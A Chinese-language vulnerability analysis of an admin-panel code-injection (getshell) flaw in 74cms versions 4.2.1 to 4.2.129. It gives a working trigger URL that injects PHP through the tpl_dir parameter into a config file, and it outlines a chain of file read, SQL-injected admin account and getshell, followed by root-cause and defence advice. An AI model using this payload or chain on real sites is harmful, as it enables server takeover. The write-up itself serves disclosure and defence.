某cms v4.2.1-v4.2.129-后台getshell漏洞
字数 1051 2025-08-29 08:31:41
74cms v4.2.1-v4.2.129 后台Getshell漏洞分析
0x00 漏洞概述
74cms(骑士人才系统)v4.2.1至v4.2.129版本存在一个后台Getshell漏洞,攻击者可以通过构造特定的URL参数,在系统中写入恶意代码,最终获取服务器控制权限。
0x01 环境准备
系统安装
- 从官网下载"骑士人才系统基础版(安装包)":http://www.74cms.com/download/index.html
- 安装下载的包
版本升级
- 进入后台查看当前版本
- 如果不是最新版,点击升级
- 本地环境问题解决:
- 本地环境可能会提示"域名不合法升级失败"
- 解决方法:
- 编辑文件:
74cms\upload\Application\Admin\Controller\ApplyController.class.php - 查找所有
$_SERVER['HTTP_HOST']并替换为http://baidu.com
- 编辑文件:
0x02 漏洞利用
直接利用方法
漏洞触发URL:
http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'
Shell路径:
http://74cms.test/Application/Home/Conf/config.php
物理路径:
\74cms\upload\Application\Home\Conf\config.php
完整攻击链(认真版Getshell方法)
-
利用任意文件读取漏洞:
- 读取系统中的hash值
-
利用前台SQL注入漏洞:
- 插入用户数据(系统支持执行双语句)
- 通过MySQL双语句插入一条管理员用户
-
利用本后台Getshell漏洞:
- 使用新创建的管理员账户登录后台
- 执行Getshell操作
0x03 漏洞分析
漏洞文件位置
- 主要漏洞文件:
74cms\upload\Application\Admin\Controller\TplController.class.php74cms\upload\Application\Common\Controller\BackendController.class.php
漏洞原理
漏洞存在于模板设置功能中,tpl_dir参数未经过滤直接拼接写入配置文件,导致攻击者可以通过构造恶意参数将PHP代码写入系统配置文件。
0x04 防御建议
-
输入过滤:
- 对
tpl_dir参数进行严格过滤,禁止特殊字符 - 使用白名单机制验证输入内容
- 对
-
权限控制:
- 加强后台权限验证
- 实现操作日志记录
-
系统升级:
- 升级到最新版本,修复已知漏洞
-
配置文件保护:
- 限制对配置文件的直接访问
- 对配置文件所在目录设置严格的权限
0x05 总结
该漏洞利用简单,危害严重,攻击者可以完全控制网站服务器。建议使用74cms系统的管理员立即检查系统版本,并采取相应的防护措施。